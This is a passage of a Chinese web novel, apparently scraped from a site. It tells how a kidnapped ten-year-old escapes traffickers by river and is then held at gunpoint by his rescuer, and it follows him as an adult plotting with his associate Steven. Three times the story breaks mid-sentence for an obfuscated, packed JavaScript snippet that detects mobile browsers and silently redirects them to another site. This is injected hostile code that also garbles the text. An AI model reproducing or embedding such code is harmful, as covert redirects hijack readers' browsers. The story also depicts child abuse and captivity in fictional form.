龅牙顿时心头火起,这崽子能不能给他死!把他卖了的钱都不够这趟的精神损失费!他冲上去扬起手又想揍人,看见罗誉脸上的鼻血,犹豫了一下又把手放下了。龅牙不是心疼罗誉,而是再打可能真要出事,那就纯纯赔钱货了。 鹰钩鼻把车停在路边。 龅牙暴虐地拽着罗誉的衣领子,将他拉下车。好在他们还在郊区,这边僻静荒凉,人车都少,这一段还没有装什么摄像监控,龅牙连拖带拉地把罗誉拽到路边的小树林里,扔在地上。实在气不过,龅牙还是用脚尖狠狠往罗誉的肋下踹了两脚,看罗誉瞬间蜷缩成一只虾米,这才顺了点气。 鹰钩鼻也下了车,走过来,点了支烟。嫌弃地用手背揉了揉鼻子后,埋怨龅牙:“你说你也是,你把他嘴都堵上了,他就算想说什么也吭不了声啊!” 龅牙怒回:“不堵嘴?不堵嘴刚刚在收费站你能过?” 鹰钩鼻无奈,摆摆手不想跟龅牙吵架。“车里现在太臭了,得散散味儿,我去打扫车里,你把他收拾干净。”说着猛吸几口扔掉烟头,转身回车里。 龅牙回头恶狠狠盯着罗誉,气得脸都歪了,可也没有别的办法。 这片小树林的另一边就是一条小河,是青珈河的一条上游支流。龅牙一边犯着恶心,一边将罗誉拖到河边,找了处水浅的地方,将他一脚踹进水中。 罗誉的手脚还被捆着,瞬间就沉下去了。龅牙才反应过来,赶紧伸手薅住罗誉的头发提出水面。罗誉瘫倒在河沿上咳咳呛水,可嘴里一大团破布又呛不出来,意识更不清楚了。龅牙愤愤地伸手把破布抠出来,罗誉的脸色才见好转。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615088|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龅牙见他虚弱,也就没了太多戒心。 罗誉缓了口气,费力地小声对他说:“别杀我,我听话。” 龅牙上来凑近了点才听清罗誉在说什么。他看着差点淹死之后终于学会服软的小崽子,之前的火气也消了大半,他挺替罗誉感到不值的,摇了摇头后上来把罗誉脚踝上的绳子解了。一边解,一边絮叨:“你说说你,早知道听话,何必受那么多罪?之前挨那么多打,挨那么多饿,最后还不是要乖乖承认错误!你还真能不要命了啊……你既然听话,我给你把腿上绳子解了,你别想再跑啊!再跑我真抽死你……” 话没说完,就听罗誉又轻声说:“我没尿完呢……” 龅牙一听血压又噌噌上来了。“你个小兔崽子怎么不早说!你没尿完怎么不早说!现在还尿呢?啊?你怎么那么多尿啊!恶不恶心啊你!”龅牙跟装了弹簧一样弹到一边,他只觉得自己刚解绳子的时候一定在罗誉湿哒哒的裤子上沾了很多童子尿,整个人都很不好,他得好好洗洗! 罗誉双手还被绑在背后,躺在地上起不来,蛄蛹了两下,说:“你行行好,给我手也解了吧,我这样没法脱裤子。” 龅牙瞬间又戒备上了,“你当我傻呀!给你解开脚了又要解开手,解开让你跑是吧!” 罗誉弱弱地说:“你不放心就把我手绑前边呗,至少让我能自己尿。” 龅牙顿住,也是哦。 “一会儿我也能自己洗……”罗誉继续说。 龅牙还是有些犹豫,可他也确实不想给这小兔崽子洗澡。 “我都这样了,哪儿还有力气跑?我好手好脚的时候都没跑成过……”罗誉说到最后,肉眼可见的沮丧。 到这儿,龅牙已经被说服了。你还别说,罗誉说的很有道理。他一个小孩子,本来就跑不过成年人,之前没受伤的时候都没跑成功,这会儿都折腾半死了,要是这都能跑掉,龅牙觉得也怪不了别人了。 龅牙在河边洗了洗手,随意地甩掉手上的水珠子,往罗誉的身边挪了两步,伸手把罗誉翻过来趴在地上,解开了他手腕上的绳子。 那绳子深深地勒在罗誉的手腕上,一路上不断地摩擦,早已将罗誉的手腕磨破了皮,血黏在绳子上,绳子被扯开时重新撕开了伤口。也是因为被绑住的时间太长了,罗誉的两肩一时间还僵着无法活动。龅牙可不管这些,一扯开绳子就扳着他翻过来,揪住他两个手腕,想要再次将他捆起。 机不可失,失不再来。 虚弱无力的罗誉突然睁开眼睛,伸直十指猛地往龅牙眼睛上戳去。 龅牙骤然遇袭没反应过来,眉眼处被戳得疼痛难忍,下意识往后躲闪,滚倒在地,发出杀猪般的惨叫。 罗誉一秒都没有犹豫,挣扎着爬到河边,滑入河底。 鹰钩鼻听到叫声赶来,早已不见罗誉的踪影。 河水不算很湍急,但对于一个被长时间虐待,满身是伤又饿了两天的孩子来说,是九死一生的存在。罗誉的选择正是置之死地而后生。 罗誉不算会游泳,他只是在之前的暑假中,跟父亲刚学了在水下憋气和水上静漂。 刚下水那会儿,他知道凭借自己现在的身体条件根本不可能靠划水来摆脱两个身强力壮的人贩子,他们一定比他游得快。于是他选择憋气,贴着河底顺着水流往下游移动,不在水面上冒头,避免被岸上的人发现,等到实在憋不住气了再上浮到水面换气,然后再沉入水下。 河底碎石嶙峋,罗誉又被擦伤了几处,但新鲜的疼痛让他更清醒了几分。 换过几次气,两岸的景象已经大变。罗誉不知道自己在哪里,只感觉河水似乎急了几分,好在河道还挺宽,并无突出的石块。他的体力已经耗尽,几近虚脱,只能不再潜水,改在水面静漂。 全身放松之后,罗誉很快陷入昏迷,意识沉沉。 河水带着他去往未知。 10. 第 10 章 青珈河的水,养育着两岸数以百万计的人口,但它一贯低调,永远静静地流淌。 今天日头不错,奈奈温来到河边。一上午时间她漂洗了一大堆的布料,累出一身汗,但心情很不错。她昨晚在河边设下的小鱼篓里网进了两条鱼,刚好可以当午饭。 奈奈温是一名独身女子,父母都已经离世,她还有一个弟弟,但弟弟有自己的生活,不和她住在一起。奈奈温日常凭借做一些手工刺绣制品卖给相熟的工坊谋生。这些手工制品通常会作为旅游纪念品,卖给从国境那一边过来的游客和商人,因此价格是可观的。她的生活不算富裕闲适,但胜在安稳平静。 锅里的鱼开始飘出鲜香,新鲜的食材可以大大减少调料的需求。奈奈温昨天刚完成一批工坊的订单,接下来开始筹备下一批货的材料,不必赶工可太爽了。奈奈温哼着歌,轻轻搅动锅里的鱼汤,还可以再煮一会儿。趁着这点工夫,奈奈温决定再下一篓子,明天又能有鱼吃。 奈奈温拿起鱼篓重新来到河边,大致清洗一番,将它固定在水下。 就在她直起腰来的那一刻,眼角余光瞥见了什么东西。 奈奈温凝神看去,河水在阳光下闪着粼粼波光,似乎是水面上漂着什么。奈奈温的工作让她对织物非常熟悉,虽然有些看不清,但她直觉是一块不小的布料,但似乎质感又有些区别。 那团东西随着水流缓缓漂到近处,奈奈温看清的一刹那,陡然倒吸一口气,接着抄起手边的扁担向河中央冲去…… 罗誉醒来时,发现自己躺在一间陌生的房间里。房间不大,甚至可以说有些简陋,似乎是竹木的墙壁,但打扫得挺干净。他躺在一张小床上,身上盖着至少三床被子,压得严严实实。 在水里泡的时间太长,他有些失温,在失去意识之前他还朦胧地想,会不会就这样结束了?如果真就结束了,他还挺不甘心的。如今看来,他应该是被人救起了。老天爷还愿意给他机会!老天爷没有抛弃他! 呵!可怕的经历果然能够改变一个人,换做以前,自己一定会觉得是遇见了好人,现在却只会想这是老天爷的安排。罗誉躺着不能动,只有脑子可以放飞,正在他想着接下来怎么办时,一个女人推门而入。 奈奈温拿着一瓶温糖水进来。 她偷偷地向一位当护士的同学咨询过,得到的建议是有必要给昏迷中的小男孩补充一点水分和能量,还要注意用温水,不能太烫也不能是凉的,她都一一记下来照做。 至于为什么是偷偷地咨询,而非直接送医……这里是联邦国的边境,治安并不好,时常有各种不明身份的人械斗、火拼,抢劫、杀人不是多么稀罕的事情。而她在救起小男孩时,看到了他身上遍布的伤痕。 作为一名独身且独居的联邦女子,奈奈温可以没有恻隐之心,但决不能没有一点点警惕之意。孩子又怎么样?孩子就一定善良无害么?不论这孩子的遭遇究竟是无妄之灾,还是咎由自取,会落到这般田地,都说明他很有可能身上有着什么麻烦事。奈奈温可以在佛陀的指引下救他,但也不愿意沾染上任何的麻烦。 这些道理,奈奈温的那位护士同学也懂,就像奈奈温不送医一样,她也只给出建议,并不多问一句。这是联邦人的心照不宣。 奈奈温进屋就发现床上的孩子醒了。 “醒了?” “您好!” 两人同时开口,然后同时沉默了。 罗誉发现这位女士说的话是他听不懂的语言,但他能认出来,这是联邦国语。 奈奈温也发现了,这个男孩说的是标准的中文。 问题恐怕有些严重。 接下来的几天,罗誉得到了还算体贴的照顾,但心里的隐忧慢慢浮现。好消息是,奈奈温会一点点中文,他们之间能做一些简单的沟通,过程虽然艰难,好歹也能让罗誉明白一些目前的状况。坏消息是,这里不是大华,而每当罗誉提到回国,奈奈温完全不接话。 一开始,罗誉以为是受限于语言水平,奈奈温听不懂他的诉求,几次之后,罗誉终于确认,奈奈温是听得懂的。所以这个救了自己的女人是不想让自己回国。为什么呢? 奈奈温一度很犯难。当她在河边发现顺流而下的男孩时,她认为那是佛陀的指引,让她及时救下了他,让她积累大功德。可这个男孩醒来之后就成了个大麻烦。 他是大华人,在青珈河上游落水,一路竟然漂到了联邦国!他想要回国,这意味着需要把他送去大使馆,送去警察局。可他不是正常途径入境,警察局一定会做很多额外的调查,涉及到大华大使馆,这只会让调查变得更细致更严苛。那么作为和他相关的人员,奈奈温会被警察从头到尾查得清清楚楚。 她不能,绝对不能被那样调查!弟弟说过,我们不能和警察有任何交集! 所以,她只能漠视罗誉的请求。 这个叫罗誉的男孩很聪明,这几天的工夫,他甚至已经开始学会一些简单的联邦语,学得很快,也学得很好,发音也很标准,运用也准确,而这一切发生得如此自然,奈奈温都没有教过他。 她知道,他想讨好她。 这个男孩,身体恢复得也不错,他能下地了。奈奈温告诉他身体还没全好,不要跑太远。表面上也不怎么管他,只是注意力始终在他身上,因为奈奈温知道,一个普通的男孩是不会有罗誉这样曲折离奇的遭遇的。小男孩还没有打消回家的念头,越是限制他的行为,罗誉就越会大胆去探索。 奈奈温是对的,她对罗誉表现出恰到好处的放任,罗誉反而感到失去了方向。他还没能下床的时候就已经清楚,奈奈温的家在一片水域上,这是一座用竹子、木头搭建在湿地上的二层高脚小楼。在他到来之前,小楼只住了奈奈温一个人。 等到下了床,他能够走出小楼,发现小楼的附近,沿河还有几幢同样款式的小楼,人也不多,出行多用小木船,然而这河水自何处来,通向哪里,他一无所知…… 在和附近的住户尝试了几次对话后,罗誉敏锐地察觉到,这些人对奈奈温并不热络,有些井水不犯河水的意思。而对于他这个突然出现的外乡客,这些人更是无意亲近打听,更不要说伸出援手。 看来奈奈温的人缘不太好,并且“不太好”得恰到好处。罗誉坐在高脚楼的平台上,对着月亮暗暗叹息。 背后传来奈奈温的轻声呼唤,对他说晚上气温降得快,让他赶紧回屋里。罗誉应了声,听话地起身回屋。奈奈温对他还是挺好的,她和人贩子不一样。罗誉这样想着。 就这样又过了几日,奈奈温的生活悄无声息地发生了些许变化。她的房间不需要打扫了,因为罗誉总会在她之前收拾整齐;她的衣物不需要自己洗了,因为罗誉已经晾起来了,之后还会抚平叠好放在她的箱子上;家里的饭不必自己做了,罗誉竟然学着能做几个简单的菜了……很快,奈奈温发现,自己的工作台上,许多工具也被分门别类地用几个小盒子收纳起来,被放在她顺手的位置上,非常方便。 她知道,他在讨好她。 对,奈奈温就是认为罗誉在讨好她。不然还能是什么呢? 她不是个讨喜的女孩,性格沉默孤僻,长得也不漂亮,从小到大都没什么朋友,也没少被欺负。等到弟弟长大了些出去闯荡,有了出息,她这个姐姐才得到了些来自弟弟的照拂,这才有了现如今的安宁生活。周围那些自私丑陋的人不敢再来欺负她,而是开始避讳和疏远她,偶尔产生了交集,也只会僵硬地对她假笑,假装友善。他们都怕她,不,应该说是怕她的弟弟。反正不管怎样,没人会喜欢她。 是的,没有人会出自真心善待她。因此,罗誉的行为只能是讨好。也正因此,他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615089|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨好变得有些特别,这很有趣。他是个外乡人,还不知道她弟弟的事,他的讨好不是源自对她弟弟的畏惧。 那么是源自什么呢? 或许,是他想表达救命之恩的感激? 也或者,他仍想着回家去,希望从她这里获得进一步的帮助? 奈奈温想到这里暗笑,在这之前,罗誉想回家的诉求被她漠视,她确实有过那么一点点的愧疚,但这点愧疚并不足以让她改变主意,这是为了弟弟,没有弟弟就不会有她的好日子,这是没有办法的事情。罗誉如果真是为此而讨好她,只能白费了。而且,他实在太过体贴,这让奈奈温反而生出了些别的想法…… 奈奈温也不过是个刚刚二十的姑娘。鉴于她生活的实际情况,奈奈温不觉得有什么可能遇到一个像故事里那样,能和她发展一段浪漫情缘的人。她早就死心了。 但是罗誉的出现让她的想法有些松动。这个男孩有着良好的教养,经历这番变故后也能看出他拥有温良的个性和坚韧的内心。随着他伤势逐渐痊愈,脸色也变得健康了些,奈奈温发觉他还挺好看的。 虽然,他才十岁,比她小了许多……但是没关系,年纪小才会听话,听话才会体贴。她可以趁他还没长大的这几年,让他习惯依赖,不,依附于自己。再说,等她老了的时候,他还强壮,更能把她照顾好。 奈奈温越想越觉得这就是自己人生的理想状态了,佛陀的指引果然都指向最好的安排。 倒是没有吃什么特别有营养的东西,顶多也就是隔几天捉到的几尾小鱼炖汤,但罗誉没有再受到虐待,身体有肉眼可见地好转。他的体能又回来了,行动能力更强了。如果再给他一点时间,或许能恢复甚至超过两年前被绑走的时候吧。 可是他不想再等那些时间了。 一转眼,已经过去了两年。 他没有忘记,他从哪里来,要到哪里去。 他要回家。 奈奈温始终不回应的态度已经把意思表达得非常明显,在罗誉为她分担了许多家务之后,小心思就差直接摊牌上桌了。她不想放罗誉走,她想要罗誉成为她的奴仆。 罗誉暗想,开玩笑,让一个大华人做她的奴仆? 要不,干脆趁没人注意,直接偷跑了吧!沿着河总能找到人多的地方吧! 怎么跑呢?这边每家都有一两条小船,要不夜深人静偷一条船走! 好像不太好,奈奈温只有一条船,偷走了她就没有船了。她和人贩子不一样。 那不偷船,就沿着河走。奈奈温说过,他是从上游漂过来的,那他就往上游走吧! 他在奈奈温这里已经住了大半个月,时至今日,他仍然不懂奈奈温为什么不愿意放他离开,他曾试图搞懂,不过现在也无所谓了,不论奈奈温有什么样的理由,苦衷也好,借口也罢,罗誉不在乎,他只想回家,别的都不重要。 老实说,现在的罗誉是相当乐观的。对于离开这里,去到人多一些的城镇或者城市,从而获得帮助回国,最终回到父母身边,罗誉已经不觉得太艰难了,至少,现在已经不会有人不停地殴打他,威胁将他拆解成零件。 这段时间以来,他的观察结论是,计划可执行。只要沿着这条河,他就不会迷路,逆流而上就是一步步的回归;食物也不是太大的问题,这条河里有很多小鱼,他已经对捉小鱼很有心得;捉来小鱼后的烹饪也不是问题,他学会了做饭,顶多就是缺乏调料,口味差点儿罢了,饿不着;并且,这段时间他在语言方面的努力没有白费,他确信自己已经能够运用一些简单的语句表达清楚自己的意思;至于没有钱,这是最不重要的问题,没有人的地方用不到钱,需要用钱的时候,他可以给人打零工挣钱。 这些思考通常不会出现在一个十岁的孩子身上,但罗誉的遭遇让他在某些方面不得不飞速成长。 11. 第 11 章 宁静的夜晚,万籁俱寂,只有微风轻轻拂过河畔的树梢和水面的草叶,带来丝丝凉意。月光皎洁明亮,宛如银霜铺地。在这柔和的月光下,大地披上了一层淡淡的银纱,显得神秘而宁静。 蜿蜒向远处的河流在月光的映照下,显得分外温婉,静静守护着这片土地。近处的花草树木也在月光的照耀下,显得更为娇美。茂盛的草叶在微风中轻轻摇曳,发出沙沙的声响,仿佛在低语。 这一刻,只有月光和微风在无声地交织着,就像一张安静的照片,定格在罗誉的脑海中。 就是今晚,他计划开始他的新旅程。 罗誉今天特意换下了奈奈温给他换洗的衣物,洗干净。傍晚时分,他将晾干的衣物收起,叠好,整齐地放在床头。现如今,他穿的是自己来时的那一身,破损的地方早已被补好。罗誉不打算拿走任何奈奈温的东西,他仍然感激她的施救。 夜深人静。奈奈温的房间熄了灯,又过了许久,罗誉准备停当,站起身来最后看一眼这个小房间,心中默默告别。他轻手轻脚地走出门,仔细地掩上房门。正要转身,只听身后传来奈奈温冷淡的声音。 “我说过你能走了么?” 罗誉惊得猛然转头看去,还未来得及转身,只觉腰背部被什么抵住,紧接着是一声轻微的电流声…… 再度恢复意识,罗誉回到了房间的小床上。他的整个背部都在抽疼,连带着脖子都僵硬得无法转动。罗誉脑子仍然有些木,以至于直勾勾地望着坐在床边的奈奈温好一会儿,才想起之前的事。 奈奈温定定地看着他,眼神可谓温柔,嘴角也带着笑意。可她嘴里吐出的话却冰寒刺骨,宛如来自地狱的诅咒。 “罗誉,你走不了。” 罗誉看着她好久,呼吸由于情绪激动转而急促起来。还没等他反唇相讥,就只见到奈奈温从床头轻轻拿起一件黑色的东西。奈奈温当着他的面,“咔哒”一声,给手中的枪上了膛。黑洞洞的枪口对准罗誉的眉心。 她用另一只冰凉的手抚上罗誉的脸颊,轻轻地重复道:“你走不了。” 手机“啪”地一声,被摔在茶几上。史蒂文烦躁地扒着头发,颓然瘫坐到沙发上。 罗誉看他的反应就知道发生了些什么。 “他们还是不肯定下会面时间吧?” 史蒂文深深吸气,努力平复自己的情绪。“是啊,还是说不安全,需要等等。我对他们说这已经是第三次了,他们……”史蒂文摊了摊手,他恨不得一脚踹翻面前的茶几。 或许是因为对这个结果早有预料,罗誉倒是心平气和。 他站在落地窗的窗帘后,看着窗外。这个城市有着非常适宜草木生长的气候,因此常能见到精心打理的景观花圃,有些甚至很有设计感,能够实现移步换景的绝佳效果,让人“只缘身在此山中”。 史蒂文收拾情绪,从沙发背里直起身,两肘撑在膝盖上,认真对罗誉汇报:“‘公司’那边排查了内部人员,确认我们的人都没出问题。这次九成九是帕朗那边泄露了消息。不过目前还不知道他和那个被抓的马程飞到底有什么样的联系。” 罗誉没有回头,只应了一声:“盯紧他。” 史蒂文点头回应:“我已经安排了。” 见罗誉没说别的,史蒂文有些没着落,忍不住问:“Louie,我们接下来怎么办?” 罗誉这才回过身来,看着他说:“不怎么办。帕朗那边别跟丢,如果出现联系人就截胡下来。毕竟他是‘司令’的大管家,‘司令’大半身家都在他手下打理,我们就算要动他,也要先给‘司令’一个交待。” 他往后微微仰倒,背靠在身后的墙上,一只脚曲起,双手插兜,姿态倒是放松,透着点子慵懒。“Steven,这笔生意我不想谈了。” 史蒂文不太意外,他的老板向来杀伐果断。“好,那么我去安排行程回‘公司’?” “……先等等吧。”罗誉有些犹豫。 史蒂文有些不解:“不回去么?” “嗯,我们现在回去,固然能够避免再次被算计,但也会让我们失去抓住老鼠的机会,就像这次的入室案一样,警方无法获得确切的证据链。”罗誉很快组织起了有说服力的语言,“我们只知道有人算计我们,却不能知道是谁,什么时候还会卷土重来。我们不能这么被动做饵,没有千日防贼的道理。” 史蒂文对这些都没有意见,罗誉总是想得比他更深远。 “所以,你打算留下来……帮大华的警方钓鱼?” “Steven,如果就这么不明不白地放过了他们,你不会不甘心么?”罗誉有些玩味地反问。 当然会!人生至今未尝败绩的进击少年史蒂文哪受得了这种委屈!“必须反杀!” 罗誉挑挑眉,很好,煽动这一招永远对男人有效。 “所以接下来……” “我明白了,买家那边还得演戏钓一钓他们!”史蒂文开启抢答模式。 罗誉点点头,补充道:“警方那边,也需要继续维护。他们既然需要我们当作诱饵,必然也会关照我们,这会是一次心照不宣的合作。” “明白,那个小警察Dan,我会再亲近亲近!”史蒂文原地满血,每一次在罗誉给出明确的方向后,他总能迅速调整好状态,然后饱含热情地去付诸实施,这是一名得力的下属。 “Dan?” “就是陈登,我给他取的英文名。是不是很衬他?”史蒂文总是喜欢给事物标注一些奇怪的标签,比如取英文名代表某种含义之类,就好像当初他坚持选择入住花冠皇庭大酒店,就是觉得这个酒店名称衬Steven这个英文名一样,这是个人癖好,罗誉也就不予置评。 “不用太刻意。之前我和他那顿饭,聊得还不错。之后约他应该都不会太难。” “啊!”史蒂文恍然大悟道,“Louie,你真是个神奇的家伙!我收回之前质疑你的话。你是怎么做到的?你每一步棋都总是下在最正确的位置上!” 罗誉知道他一定是误会了,可他不会解释,和陈登有关的事情他都不能解释。 史蒂文不可抑制地开始发散思维,进入头脑风暴的模式:“这酒店的客房经理,那位Joan小姐,你知道,她和Dan私交非常好,我也能从她身上试试。”对于史蒂文来说,和女人打交道明显更容易。“她现在对我很有好感。” “……私交好是指……” “他们是要好的朋友。我们和陈登第一次见那天,就是Joan让Dan来酒店的,他们似乎是约了见面吃饭。” 原来如此。 罗誉了解史蒂文的风流秉性,心头不免就有些迟疑。 从工作层面来说,史蒂文无疑是一位给力的伙伴。他懂得配合,乐意服从,也能给出强力的支持,有能力做好自己的事情。但在生活层面上,用现在的话说,这家伙就是个典型的“渣男”。 他是一名典型的合众国花花公子,好的一面可以概括为乐天、勇敢、自由、率真,但这些反过来都是建立在自我、固执、冷漠、傲慢这些基础之上。他能够挥洒肆意恰恰是因为他不在乎别人的死活。 他容貌俊朗,外形健壮,再加上业务水平突出,几乎是一入行就在合众国的安保业内享有声誉,名利双收。年少多金更是让他充满自信。尤其在男女方面,史蒂文从不介意释放自己的魅力,他甚至认为,让女性为他春心荡漾是他对她们的礼貌。 史蒂文很喜欢女人,只不过不是喜欢某一个女人。郎心如铁说的就是史蒂文。他非常清楚自己在情感领域能有多抢手,也很善于利用这些优势,最重要的是,他享受这种操控他人情感的过程。 那些对他投入过感情的女人绝不会认为这是一段好的经历,即便她们可能在往后的日子里从痛苦中浴火重生,也绝不会想要这段经历。 正因如此,如果史蒂文要对王琼出手,几乎可以肯定,王琼会受到很大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615090|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤害。而王琼是陈登好友,如果因为史蒂文而受到伤害…… 罗誉对王琼印象不差,是个能干的姑娘。本来是不会在乎她怎样的,但现在知道了她和陈登是朋友,罗誉就不能冷眼旁观了。 “Steven,不要找借口乱玩,正事要紧。” “我知道,放心。”史蒂文一如既往的不以为意。 罗誉当即不再多说,先观察一下王琼对史蒂文到底是不是有好感吧。 事实上,王琼也不是完全没有好感。 这两位VIP客户属实是优质客户,钱多事少,非常省心,就连贵宾套房B618出事之后,他们都没有跟酒店产生任何的龃龉。王琼和史蒂文沟通中还曾经暗示,如有需要,可以为他们提供特殊安保服务。史蒂文听懂了,当即对当前酒店服务工作给予了极高的评价,并且大方地表示维持原状即可,礼貌婉拒了增加额外工作计划的方案。 啊!这是什么神仙客户!身为服务人员,竟然感觉自己被客户提供了情绪关怀服务。这换了谁都很难不产生好感嘛! 所以,王琼现在确实很有好感,但还仅限工作层面。这种好感能否扩展到生活层面,因人而异,有些人或许一辈子难有进展,但有些人只需要一个契机。 契机这种东西,是可以被制造的。 这天,王琼和史蒂文对接之后几天内VIP客户的行程安排,这涉及到后续客房部的一系列工作规划,从房间清扫到餐饮菜单,从车辆调配到会客礼宾,方方面面都需要细致到位。 正事聊完,史蒂文忽然露出了一点小小的羞涩,对王琼说:“Joan,你知道,我是第一次来大华,这里的一切都太有意思了。” “很高兴您能喜欢这里,史蒂文先生。”王琼合上笔记本,微笑着应答。客户在工作之余主动聊到个人,显然是有私人的诉求。 史蒂文用食指挠了挠脸颊,继续说:“我非常想和我的家人分享这里的一切,我的父母和妹妹,我想让他们也能感受一下。可让我头疼的是,我想不出太好的方案。” “您需要我提供建议是吗?”王琼并不意外,以前也有过外地或者外国的客户提出过类似的需求。 “如果可以的话,就太感谢了!”史蒂文笑着看她,两眼弯弯,钢蓝色的眼睛闪闪发亮。 王琼先问了几个定位需求的问题,大致了解了史蒂文和他家人的兴趣偏好后,心中就有了数。 “相信您也注意到了,我们市区和周边有几处景区,在全国乃至世界范围内都算是有一定口碑的。前几年开始,几处景区陆续升级服务,到如今也有了一些创新的周边产品。”王琼将自己的笔记本翻到最后一页,一边讲解,一边在上面罗列了几个景区的名称。 “这几个景区,整体素质原本就发展得很不错,并且在这几年间根据一些网友的建议,做了些服务项目的改进,现在它们可以联动游玩。”王琼写完就顺手将这页纸轻轻撕下,递给史蒂文。 史蒂文听到“联动游玩”时挑了挑眉,问道:“就是说,它们可以一起买套票?” “并不是套票那种简单粗暴的捆绑式联动。”王琼解释,“这几个景区每一个都有自己的特色主题,都做了专属的特色纪念品。您可以只挑自己感兴趣的某一个或几个景区去游玩,从而获得那几个专属纪念品。这是最传统的玩法。” 看史蒂文点点头,听懂了,王琼继续往下说。“除此之外,您也可以把这些景区都玩一遍,在这些景区逐一打卡,并集齐这些景区所有的专属纪念品,在最后一个景区,工作人员会送给您一份额外的限定款纪念品。这种玩法并不限定时间,您可以充分自由地规划行程。” “听起来……不是太难,但似乎也没有太大的惊喜。”史蒂文有些许失望。 “别急,如果仅仅是这样,您最终也只是能得到几个小玩意儿,给家人们的分享效果也并不好。我们还有个玩法。”王琼顿了顿,说,“我们市发生了一些悬案。” 12. 第 12 章 “这几个地方,会随机发生一些案件。”王琼拿起笔在那张纸上勾出了其中几个景点,说道,“您在那儿,有很高的几率可以碰到一些景区的NPC,触发一些隐藏的机制,发生一些可疑的事件,请您帮忙调查。” “就是说!我会扮演侦探!”史蒂文双眼又亮了。 “没错。NPC会给您相应的线索和指引,为您安排任务。故事并不仅限于几个景点,在这个游戏中,整个K市都是这个悬疑事件的发生场景。这就意味着,您可能需要根据线索和剧情发展,在整个K市内跑来跑去。其中有一些任务是需要场外配合的,这种情况就可以邀请您的家人们远程参与,帮您出谋划策,让他们也能和您一起游览观光,同时体验游戏的快乐。” 史蒂文发出了“哇哦”的惊叹,这种玩法有点大,整个城市都是一个游戏的主题公园。“悬疑事件不会有血腥暴力的元素吧?电锯杀人之类的!” “不不不!绝不会是恐怖惊悚类的事件,通常来说,根据线索指引,破解的谜团都会是一些神话传说、历史佳话、当地的浪漫故事之类的。这些游戏都是针对全年龄向的,会有很多孩子来玩,最终目的还是用来宣传本地的文化特色,我们并不想把我们的城市做成一个硕大的‘鬼屋’!”王琼赶紧解释。 史蒂文兴致勃勃,显然非常心动,恨不得立刻开始一场沉浸式探案解密游戏。 “Joan,我就知道你总能给我最棒的答案。” 他兴奋地猛地凑上来,展开双臂大力拥抱王琼,但又很有分寸地一触即分。 王琼被小小地惊了一下,咽了咽口水,告诉自己,合众国人的习惯而已…… 几天后,史蒂文在走廊拐角迎上王琼,他咋呼得就像一只麻雀。 “Joan,你一定不知道我这几天是多么的快乐,我和我的家人们共同探索了这个城市的谜团,我们在解谜中了解了城市的历史,人们的风俗和传统,尝试了各种美食,观赏了许多美景,我们在社交平台上分享的一些照片和视频也被许多人关注到,人们都觉得太棒了……这太疯狂了,我是说,我从没有想过可以用这种方式去观察和了解一个城市!这个活动的策划者是个天才,竟然能想到如此绝妙的主意……” 王琼瞅准他喘气的间隙,不着痕迹地微笑打断他。“您和您的家人感到了快乐,这太好了。” “快乐!没错!我们很久没有这么快乐过,更重要的是,我和我妹妹成年之后,我们家已经很久没有像这样,一家人一起专注地做一件事情。而这一次,我们重新意识到,我们爱着彼此!”史蒂文亢奋的情绪慢慢沉静下来,说到最后语调轻柔感慨。 一个男人在你的面前能够袒露如此柔软的内心,这家伙真的只是把你当成服务提供者么?王琼面上不显,心里暗暗嘀咕。 史蒂文抒发完对家人的依恋之情,从背后拿出一束小小的捧花,递给王琼。 花束是由十几朵各色小花组成,每种一朵,自然的状态,连修剪的痕迹都不多,有几朵看着状态也开始发蔫,大概已经多放了几天。它们被看似随意地组合在一起,用一张朴素的牛皮纸包起来,看起来并不高贵冷艳,但还挺清新雅致。 王琼愕然。她从未被客人送过鲜花。她抬眼看向对面的男人,映入眼帘的是史蒂文钢蓝色的眼睛,他满眼真诚地对她说:“我在游戏中到过的每个地点选了一朵花,有的是花店里的,有些是路边采摘的野花,还有一朵是餐盘里的点缀,总之它们每一朵都代表我到过的一处。我想把它们送给你,也希望你能分享到我的快乐。” 王琼心头一跳,脸上不可抑制地发热。这是她人生从未经历之事。 现在什么情况?是想多了吧?是吗?救命!超纲了啊! 这男人怎么回事?是不是太会了点啊! 夭寿了!霸总小说吗? 王琼最后是带着满脑子弹幕,稀里糊涂地离开的,CPU冒着烧糊的味道。 史蒂文前脚刚回到S888,罗誉后脚从吧台后面拐出来,手里拿了杯刚倒上的矿泉水,对史蒂文凉凉地说道:“认识你这么多年,我今天才知道你还有家人活着。” 史蒂文对自己的战果显然非常得意,对罗誉挤挤眼,长腿一跨横躺在单人沙发上,语调欢快:“怎么样?是不是很动人?我早就说过小金人应该有我一座!” 